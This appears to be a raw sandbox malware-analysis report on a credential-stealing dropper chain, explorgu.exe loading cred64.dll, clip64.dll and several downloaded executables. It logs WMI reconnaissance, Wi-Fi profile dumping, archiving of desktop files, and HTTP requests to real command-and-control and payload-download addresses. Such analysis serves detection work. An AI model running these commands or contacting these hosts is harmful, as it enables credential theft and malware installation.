contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "clip64.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "clip64.dll") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00002444.00000002.73104.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00002444.00000002.73104.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp")39:T507,Found string - \\.\pipe\PSHost.133516092436199094.3892.DefaultAppDomain.powershell; Source: "00000000-00003892-00000C52-64721469") Found string - \.\PHYSICALDRIVE0; Source: "00000000-00002592.00000001.72047.07630000.00000004.mdmp, 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000002.73999.028F0000.00000004.mdmp") Found string - \\.\PHYSICALDRIVE0; Source: "00000000-00002592.00000001.72047.07630000.00000004.mdmp, 00000000-00006228.00000001.72079.07520000.00000004.mdmp, 00000000-00006228.00000002.73999.07520000.00000004.mdmp") Found string - \.\ROOT\SecurityCenter; Source: "00000000-00002592.00000001.72047.0767D000.00000004.mdmp") Found string - \.\root\cimv2; Source: "00000000-00002592.00000001.72047.0767D000.00000004.mdmp, 00000000-00002592.00000002.73964.07630000.00000004.mdmp, 00000000-00006228.00000001.72079.07520000.00000004.mdmp, 00000000-00006228.00000002.73999.07520000.00000004.mdmp") Found string - \\.\root\cimv2; Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found string - \\.\root\c|; Source: "00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found string - \\.\root\c ; Source: "00000000-00006228.00000002.73999.04C20000.00000004.mdmp")3a:T593,Found string "http://www.w3.org/2001/04/xmlenc# EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00002444.00000002.73104.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found string "System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "encryptedkey"; Source: "00000000-00002444.00000001.71184.05660000.00000004.mdmp, 00000000-00002444.00000002.73104.05660000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found string "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found string "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1" (Indicator: "encryptedkey"; Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp") Found string "EncryptedKey" (Indicator: "encryptedkey"; Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp")3b:T113c,Contains base64 string in header "POST" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "176Cache" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "/cost/fu" in header "GET /cost/fu.exe HTTP/1.1Host: 193.233.132.167" Contains base64 string in header "POST" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 21Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 21Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 21Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /yandex/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.32Content-Length: 21Cache-Control: no-cache" Contains base64 string in header "/lego/goldklassd" in header "GET /lego/goldklassd.exe HTTP/1.1Host: 109.107.182.3" Contains base64 string in header "/lego/1234pixxxx" in header "GET /lego/1234pixxxx.exe HTTP/1.1Host: 109.107.182.3"3c:T543,file/memory contains long string with (Indicator: "select * from "; Source: "00000000-00002444.00000001.71184.00DC2000.00000002.mdmp, 00000000-00006228.00000002.73999.003E2000.00000002.mdmp") Found string "SELECT * FROM Win32_OperatingSystem" (Indicator: "select * from "; Source: "00000000-00002592.00000001.72047.07630000.00000004.mdmp, 00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found string "SELECT * FROM AntiSpyWareProduct" (Indicator: "select * from "; Source: "00000000-00002592.00000002.73964.03110000.00000004.mdmp") Found string "SELECT * FROM FirewallProduct" (Indicator: "select * from "; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found string "SELECT * FROM Win32_VideoController" (Indicator: "select * from "; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found string "SELECT * FROM Win32_Process" (Indicator: "select * from "; Source: "00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000001.72079.07520000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.07520000.00000004.mdmp") Found string "SELECT * FROM Win32_DiskDrive" (Indicator: "select * from "; Source: "00000000-00006228.00000001.72079.04C20000.00000004.mdmp")3d:T604,Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; Source: "00000000-00002444.00000001.71184.00DC2000.00000002.mdmp, 00000000-00002592.00000001.72047.009E2000.00000002.mdmp, 00000000-00006228.00000002.73999.003E2000.00000002.mdmp") Found reference to API "148656593846,4188,3024,,RtlGetVersion,NTDLL.dll,"00:19:12.687",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "96073878606,160,3024,,RtlGetVersion,NTDLL.dll,"00:18:50.781",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "119808973124,4188,3024,,RtlGetVersion,NTDLL.dll,"00:19:00.671",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "118271438378,4184,3024,,RtlGetVersion,NTDLL.dll,"00:19:00.031",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "92328635202,4188,3024,,RtlGetVersion,NTDLL.dll,"00:18:49.218",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00002592.00000002.73964.07630000.00000004.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00005588.00000000.69376.03670000.00000004.mdmp") Found reference to API ",3024,,RtlGetVersion,NTDLL.d" (Indicator: "GetVersion"; Source: "00000000-00006228.00000001.72079.07520000.00000004.mdmp, 00000000-00006228.00000002.73999.07520000.00000004.mdmp")3e:Tf63,"explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\00c07260dc\explorgu.exe" at 00000000-00007652-00000C15-43330038 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred64.dll" at 00000000-00007652-00000C15-46002215 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred64.dll" at 00000000-00007652-00000C15-46004148 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip64.dll" at 00000000-00007652-00000C15-47151361 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip64.dll" at 00000000-00007652-00000C15-47154499 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000002001\fu.exe" at 00000000-00007652-00000C15-50047583 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000002001\fu.exe" at 00000000-00007652-00000C15-50049477 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000003001\alex.exe" at 00000000-00007652-00000C15-53586684 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000003001\alex.exe" at 00000000-00007652-00000C15-53588645 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000004001\RDX.exe" at 00000000-00007652-00000C15-55218171 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000004001\RDX.exe" at 00000000-00007652-00000C15-55220459 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000005001\55555.exe" at 00000000-00007652-00000C15-57687615 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000005001\55555.exe" at 00000000-00007652-00000C15-57690026 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000006001\1233213123213.exe" at 00000000-00007652-00000C15-63873401 "explorgu.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000006001\1233213123213.exe" at 00000000-00007652-00000C15-64833149 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003892-00000C15-65442458 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003892-00000C15-66466785 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003892-00000C15-67652454 "powershell.exe" queries volume information of "C:\" at 00000000-00003892-00000C15-69588502 "powershell.exe" queries volume information of "C:\share" at 00000000-00003892-00000C15-69590391 "alex.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00006072-00000C15-67138280 "RDX.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000004001\RDX.exe" at 00000000-00008148-00000C15-61383010 "RDX.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00008148-00000C15-66102971 "RDX.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00008148-00000C15-66746104 "RDX.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" at 00000000-00008148-00000C15-699646313f:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")40:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")41:T792,"explorgu.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\rundll32.exe" %APPDATA%\006700e5a2ab05\cred64.dll, Main" - (UID: 00000000-00007652) "explorgu.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\rundll32.exe" %APPDATA%\006700e5a2ab05\clip64.dll, Main" - (UID: 00000000-00007652) "explorgu.exe" called "CreateProcessW" with parameter ""%TEMP%\1000002001\fu.exe"" - (UID: 00000000-00007652) "explorgu.exe" called "CreateProcessW" with parameter ""%TEMP%\1000003001\alex.exe"" - (UID: 00000000-00007652) "explorgu.exe" called "CreateProcessW" with parameter ""%TEMP%\1000004001\RDX.exe"" - (UID: 00000000-00007652) "explorgu.exe" called "CreateProcessW" with parameter ""%TEMP%\1000005001\55555.exe"" - (UID: 00000000-00007652) "explorgu.exe" called "CreateProcessW" with parameter ""%TEMP%\1000006001\1233213123213.exe"" - (UID: 00000000-00007652) "rundll32.exe" called "CreateProcessA" with parameter "netsh wlan show profiles" - (UID: 00000000-00007552) "rundll32.exe" called "CreateProcessA" with parameter "powershell -Command Compress-Archive -Path '%TEMP%\_Files_\' -DestinationPath '%TEMP%\351455743570_Desktop.zip' -CompressionLevel Optimal" - (UID: 00000000-00007552) "fu.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/" - (UID: 00000000-00005908) "fu.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video" - (UID: 00000000-00005908) "fu.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/" - (UID: 00000000-00005908) "fu.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com" - (UID: 00000000-00005908)42:T48f,"SELECT * FROM Win32_OperatingSystem" (Source: 00000000-00002592.00000001.72047.07630000.00000004.mdmp, 00000000-00002592.00000002.73964.07630000.00000004.mdmp, Indicator: "select * from win32_operatingsystem") "SELECT * FROM AntiSpyWareProduct" (Source: 00000000-00002592.00000002.73964.03110000.00000004.mdmp, Indicator: "select * from antispywareproduct") "SELECT * FROM FirewallProduct" (Source: 00000000-00002592.00000002.73964.07630000.00000004.mdmp, Indicator: "select * from firewallproduct") "SELECT * FROM Win32_VideoController" (Source: 00000000-00002592.00000002.73964.07630000.00000004.mdmp, Indicator: "select * from win32_videocontroller") "SELECT * FROM Win32_Process" (Source: 00000000-00006228.00000001.72079.028F0000.00000004.mdmp, 00000000-00006228.00000001.72079.04C20000.00000004.mdmp, 00000000-00006228.00000001.72079.07520000.00000004.mdmp, 00000000-00006228.00000002.73999.04C20000.00000004.mdmp, 00000000-00006228.00000002.73999.07520000.00000004.mdmp, Indicator: "select * from win32_process") "SELECT * FROM Win32_DiskDrive" (Source: 00000000-00006228.00000001.72079.04C20000.00000004.mdmp, Indicator: "select * from win32_diskdrive")43:T759,"art33.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "1233213123213.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "redline1234_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "art1_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "cred64.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "lumma1234.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "goldklassd_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "sadsadsadsa_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "RDX_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip64.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT44:T61f,Observed unmanaged function "DrawIcon" in "lumma1234.exe" Observed unmanaged function "CreateCompatibleDC" in "lumma1234.exe" Observed unmanaged function "GetProcAddress" in "lumma1234.exe" Observed unmanaged function "GetModuleHandle" in "lumma1234.exe" Observed unmanaged function "VirtualProtect" in "lumma1234.exe" Observed unmanaged function "LoadLibrary" in "lumma1234.exe" Observed unmanaged function "DrawIcon" in "goldklassd_1_.exe" Observed unmanaged function "CreateCompatibleDC" in "goldklassd_1_.exe" Observed unmanaged function "GetProcAddress" in "goldklassd_1_.exe" Observed unmanaged function "GetModuleHandle" in "goldklassd_1_.exe" Observed unmanaged function "VirtualProtect" in "goldklassd_1_.exe" Observed unmanaged function "LoadLibrary" in "goldklassd_1_.exe" Observed unmanaged function "RmRegisterResources" in "sadsadsadsa_1_.exe" Observed unmanaged function "RmStartSession" in "sadsadsadsa_1_.exe" Observed unmanaged function "RmEndSession" in "sadsadsadsa_1_.exe" Observed unmanaged function "RmGetList" in "sadsadsadsa_1_.exe" Observed unmanaged function "DwmIsCompositionEnabled" in "sadsadsadsa_1_.exe" Observed unmanaged function "BitBlt" in "sadsadsadsa_1_.exe" Observed unmanaged function "CreateRoundRectRgn" in "sadsadsadsa_1_.exe" Observed unmanaged function "PathCompactPath" in "sadsadsadsa_1_.exe" Observed unmanaged function "ClientToScreen" in "sadsadsadsa_1_.exe" Observed unmanaged function "CreateWindowEx" in "sadsadsadsa_1_.exe" Observed unmanaged function "DestroyWindow" in "sadsadsadsa_1_.exe"45:T56c,Found string "https://www.facebook.com/video" (Indicator: "facebook.com"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found string "https://www.youtube.com" (Indicator: "youtube"; File: "SecuriteInfo.com.Win32.PWSX-gen.18465.17543") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") file/memory contains long string with (Indicator: "youtube"; File: "urlref_httpswww.youtube.com") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/" (Indicator: "youtube"; Source: "00000000-00005908-00000C41-11229328360") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video" (Indicator: "facebook.com"; Source: "00000000-00005908-00000C41-18363344704") Found string ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com" (Indicator: "youtube"; Source: "00000000-00005908-00000C41-43948022602") Found string "--single-argument https://www.youtube.com/" (Indicator: "youtube"; File: "msedge.exe") Found string "--single-argument https://www.facebook.com/video" (Indicator: "facebook.com"; File: "msedge.exe")46:T25c2,"GET /yandex/Plugins/cred64.dll HTTP/1.1 Host: 185.215.113.32" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:25:39 GMT Content-Type: application/octet-stream Content-Length: 1285632 Last-Modified: Sun 04 Feb 2024 16:00:19 GMT Connection: keep-alive ETag: "65bfb493-139e00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000010010000....... "GET /yandex/Plugins/clip64.dll HTTP/1.1 Host: 185.215.113.32" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 05 Feb 2024 03:25:42 GMT Content-Type: application/octet-stream Content-Length: 112128 Last-Modified: Sun 04 Feb 2024 16:00:18 GMT Connection: keep-alive ETag: "65bfb492-1b600" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000010010000....... "GET /cost/fu.exe 